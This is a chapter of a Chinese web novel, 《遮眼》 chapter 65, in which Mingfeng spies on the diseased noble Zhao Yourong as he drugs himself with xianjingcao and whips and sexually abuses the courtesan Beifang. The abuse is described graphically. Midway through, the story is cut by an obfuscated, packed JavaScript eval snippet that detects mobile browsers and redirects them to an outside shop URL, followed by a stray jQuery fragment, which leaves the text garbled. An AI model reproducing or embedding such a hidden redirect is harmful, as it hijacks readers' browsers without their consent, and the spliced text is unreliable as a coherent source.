67. 第六十五章
作品:《遮眼》 双手奉药的姚三儿原来是在下舱耍足了威风的大头……不对,那什么劳什子大人。
他将双手举过头顶,脑袋深深埋在肩膀下面,以一个十分虔诚的姿势等待水鬼发话。
“取来了还不赶紧倒进浴桶,跪那么远,是知道我起不来成心看笑话么?”这人说话阴仄仄的,难怪满屋子人都怕他。
姚三儿不敢,挪动大腿膝行过去,小腿鞋面被地板上的水浸透,冷得他咬紧了牙关。
他捻了指甲盖大小的药粉均匀撒进浴桶,水鬼自己拿手搅了搅,等待片刻后仍觉不够,让人继续加。
姚三儿边倒边偷偷斜眼瞧他,欲言又止的模样再一次激怒了水鬼。
“你又有什么意见?”
“属下不敢,只是,只是袁太医吩咐过……他,他说,万不可过量……”
袁太医?看来水鬼的身份确实不一般,治个腿疾竟能请得动宫里的太医。鸣风转着脑袋尽可能地用多角度观察此人相貌。堪堪一个侧脸瞧不出什么,况且还被湿发遮掩住了大半。不过从半露的眉峰和鼻骨的棱角来看,确实和赵有声十分相似。到这时,鸣风结合“腿疾”、“轮椅”、和翻新屋舍的程师傅口中欲望强盛花样繁多手段凶残的“魏大人”一一对上号。
敢情姓魏的是在给这位心狠手辣的赵大公子打掩护呢,鸣风当时就奇怪,自己纵横香艳场所多年,从来也没听过几次魏家公子的事迹,据说是每回都将人带回去折腾,不过单凭魏建绅的地位和俸禄,根本没有能力长久支撑这项高得令人咂舌的消费。起先还当是他和自己堂兄弟捞油水捞得盆满钵满,原来也不过是给更高一头的刑部尚书当盾。
赵有荣咬紧牙关,咬肌明显鼓起。他一拳砸在水面上,顿时,带着妖冶香味的水花飞溅出来,成片地浇在姚三儿头脸脖颈。
士可杀不可辱,要是谁敢往鸣风脸上泼这么多洗澡水,他二话不说便要反击。可惜姚三儿没这样的气性,他头埋得更低了些,任由水珠沿着鬓角滑落。
“这话我要你提醒?要不是这该死的东西突然失了效用,我何必冒着风险让你取新鲜的来?”
失效?仙晶草难不成还能治瘫痪不成?也没听雁来说过这个功效呢……
转念一想,若真是治疗腿疾的良药,雁来没道理不用它来医治姐姐。他瞬间就将将错误的答案排除。
许是超额剂量的药粉发挥了作用,只见赵有荣心情瞬间好了起来,他仍双臂展开挂在浴桶边沿,歪着一侧嘴角吩咐:“叫我们如花似玉的贝芳姑娘进来伺候吧。”
这淫贼!竟带着贝芳随行!
鸣风没同她打过交道,只在麟香阁揽云的房里和她碰过几回面,那是个再柔顺不过的姑娘。难怪春溪提起贝芳时总是一副义愤填膺的模样,狗东西糟蹋起人来简直没法看。
鸣风不忍再直视,匆匆转头之际不经意瞥到贝芳小衣遮盖住的皮肤之外布满了新旧交叠的鞭痕棍伤。这畜生。难怪每回贝芳回去后需得卧床半月才能下地。
鸣风将上半身转回来,只留着余光观测室内人员行动范围,最大限度地切断自己的视线。
贝芳轻声哀求,道:“后背的伤还没结痂,大夫说要避水……”
只听赵有荣轻蔑地笑了笑,回道:“那正好进来与我共浴,这药治外伤绰绰有余。”
贝芳显然犹豫不决,不知道这个疯子又要玩什么花样,迟迟没有动作。
赵有荣的怒火说来就来,手上抄起一条深色软绳状物就往贝芳身上招呼。
凌空破风的一瞬鞭挞过,伤痕累累的皮肉上再添一道皮开肉绽。过了会儿贝芳才感知到痛,抑制不住地呜咽起来。
下位者的痛苦滋养了流淌在上位者骨子里的暴虐。哀嚎求饶的声音越大,鞭子吃进皮肤里的程度就越深。
大概仙晶草水真有加速伤口愈合的效用,贝芳被扯进浴桶后声音明显弱了下来,剩下的就是赵有荣处在情|欲潮水中的银叫。
很快地,房中再次响起了手段残暴的虐打声,紧跟而来的,却是赵有荣急促慌乱的话语。
“不成不成!怎么不成了!姚三儿,再加药!”
赵有荣在发泄兽语时竟还让旁人围观,鸣风简直不敢想象贝芳是如何在身体和精神皆被践踏的侮辱中委曲求全艰难生存下来的。
劫富济贫、伸张正义的英雄担得起一句“侠士”,而他接触的数量庞大的、艰苦求生的底层百姓又何尝不是侠士的一种?
人并非生而就能吃苦忍饥,身份地位也是随机选中。但能在无限不确定成因中艰难强韧地生存下去,同样担得起一个“侠”字。
赵有荣明显乱了方寸,房间里顿时嘈杂起来。搀人的、擦身的、去喊大夫的,几班人马撞在一起,根本无人发现窗外一个偷窥的身影。
“大公子,真的不能再用了,您身上......”
鸣风好奇大银棍皮肤上到底有什么问题,掌心用力,偷偷将窗板推开些许,将小半张侧脸暴露出来,彻底看清了里面的格局和令人作呕的状况。
赵有荣不良于行并非假装,两个身强力壮的年轻仆人一人架着一条胳膊,合力将人从浴桶里往外抱。他上肢健壮,两条腿却明显萎缩,大腿还没鸣风胳膊粗,皮肉松松垮垮地随着动作往下流淌,像燃烧了一整夜的烛。
上下肢筋肉强壮程度的剧烈反差不足以让人觉得恶心,真正叫人反胃的是他胸口以下,直到足底皮肤上遍布的石块样烂肉和疱疹。
鸣风头一回在一个人身上见到这样多的新鲜创口,大脑麻痹了一瞬,差点发出干呕的声音。他腾出一只手狠狠捂住嘴巴,幸好手指上残留的薄荷膏气息救他一命。
从仆人面无表情的脸上可以看出他这病并不传染,只是瞧着着实恶心。两人将他安置在榻上后在一旁水哒哒地站着,肩颈胸腹大范围地沾上了久不愈合的烂肉和水泡破裂的黄液。而赵有荣却像没事人一样享受婢女为他擦身穿衣,仿佛完全不会觉得痛。
若不是亲眼所见,鸣风怎么也不会想到,赵有荣这狗东西还是个“一身铁血”的银棍。
他常年出入花楼,没吃过猪肉还没见过猪跑么。这不是脏病还能是什么!只是从来不知脏病还有这种不传染、不痛苦的得法,亦或是加了仙晶草的药粉对这病有抑制麻木的功效。
他听说过的得了脏病的人寿命极短,皮肤肺腑变得异常脆弱,一个轻微的磕碰或是一阵凉风都有可能导致伤处溃烂或是感染风寒,而创口久治不愈,人就这样一点一点烂到见骨或是内热不退而亡。
而眼前赵有荣活蹦乱跳……蹦不起来的样子,穿戴整齐后,谁能想到这是一个得了脏病的废物。
一想到他已改头换姓隐藏行踪十数年便更觉不可思议,短命在哪、折磨在哪、公平在哪?简而言之,这活阎王怎么还不死?
细细串联之下,鸣风大概想通了整件事情的关窍。
也许从一开始宫里出现仙晶草并导致阳山公主沉睡不醒差点撒手于人世之时开始,剩下的山参和夹杂其中的仙晶草就被人偷换出来,并未尽数销毁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980485|193560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经过一段时间的研究试验,终于在国境内挑选了一处最有利于它生长的土壤并大肆种植。塬县逐渐因仙晶草的特殊功效,顺势发展成为了京城外灰色组织的大本营,一路繁荣昌盛发展喜人。
灰色势力分散出来赚钱的只有更没人性、更不择手段的营生。这些丧尽天良的亡命之徒利用通畅的水路、取之不尽的神奇植物和无人监管的地理优势,将拐带、蒙骗、分流、买卖的一整条线打通,形成了一个巨大的产业。
那么,步慷在这个产业链中,发挥的作用是什么呢?总不能只是为了方便自己有干净隐蔽的场所可以消遣吧。
走廊上响起大步流星的脚步声,夹杂着连滚带爬的磕碰,召回了鸣风的神思。
是随行的大夫到了。这位却不是什么御医,不过是一位普通的中年大夫。他扶着门框大口喘粗气,被姚三儿毫不犹豫地一脚踹进门,胸口剧烈起伏着,是被人半拖半跑硬拽上来的。
赵有荣坐在轮椅上,居高临下地拎着袖管往上提,露出一小截干净的手腕让大夫听脉。
大夫跪坐在地板上,佝偻着,眼神聚焦在赵有荣的腰腹间,擦了擦手心的汗,这才搭上手指听脉。
外间顿时安静下来,大夫听完左手听右手,脑门上默默滑下两滴滚圆的汗。他跟着赵有荣许多年,心中早已有了答案却不敢宣之于口,生怕实言相告后又要吃苦头。可恨自己不是袁太医,宫中有召即刻便能脱身,自己孤立无援地跟着人国境内外坐船旅行,喊破了喉咙也不会有人来救命。
“到底怎么回事,是这批药粉有问题?换过好几包了,效用都不如从前的。”赵有荣缩回手腕藏进衣袖,滑动轮椅擦着大夫垂落在地的衣角碾压过去,兴致缺缺的样子。
大夫立刻绷直了身子,脑海里想起了一些此生不愿再回忆的场景,一张脸变得苍白。他决定不要招惹这个疯子,顺着他的话说下去,至少能保接下来一个月命。
“仙晶草种植地区土壤复杂,每一批成熟后的功效有所出入实属正常。公子不若再等等,这次从塬县带走的新鲜草药正在炮制,等制好后第一时间奉上来,您再内服外用一齐试试成效,如何?”
眼下也没有别的法子,没了仙晶草,赵有荣根本无法离开床榻,并且得每日饱受剜肉疗疮之苦。他把大夫叫上来不过是想找个人来发泄,顺便瞧瞧突然不振的雄风是什么原因导致的。美人在前,凶器却疲软无状,邪火从小腹一路烧到心口,烦躁。
“制好了当然是最先送到我房里的,这话还用你说。过来,帮我瞧瞧这个……”赵有荣的声音从内室传来,姚三儿拎着人进去关上门,赵有荣彻底消失在鸣风的视野中。
两个健壮的下仆走出门去换掉身上污糟不堪的衣服,婢女们在外间忙活,转眼间,这间四面通风的浴室只剩下贝芳一人,正狼狈地收拾自己。
鸣风从暗处探出来,双臂扒着门框对着房间里轻声喊道:“贝芳,贝芳姐姐!”
贝芳一惊,以为是那银棍这么快就支棱起来派人来召,她随手抓起一件外衣套在身上,慌乱地擦干泪水。决不能在他面前流泪,否则激发出他的兴致,这一整天就别想出门了。
鸣风见她无头苍蝇似的乱转,指关节敲击门框,给她准确的方向。
贝芳不可置信地奔过去,一见到熟悉面孔,眼泪顿时顺着面颊流淌下来。她抬手握了握鸣风扣在门框上的手,冰得她打颤,于是顺势用掌心包裹上来捂着取暖,问:“做什么鬼鬼祟祟地听墙根,你是跟船一道去京城接你义父的么?”

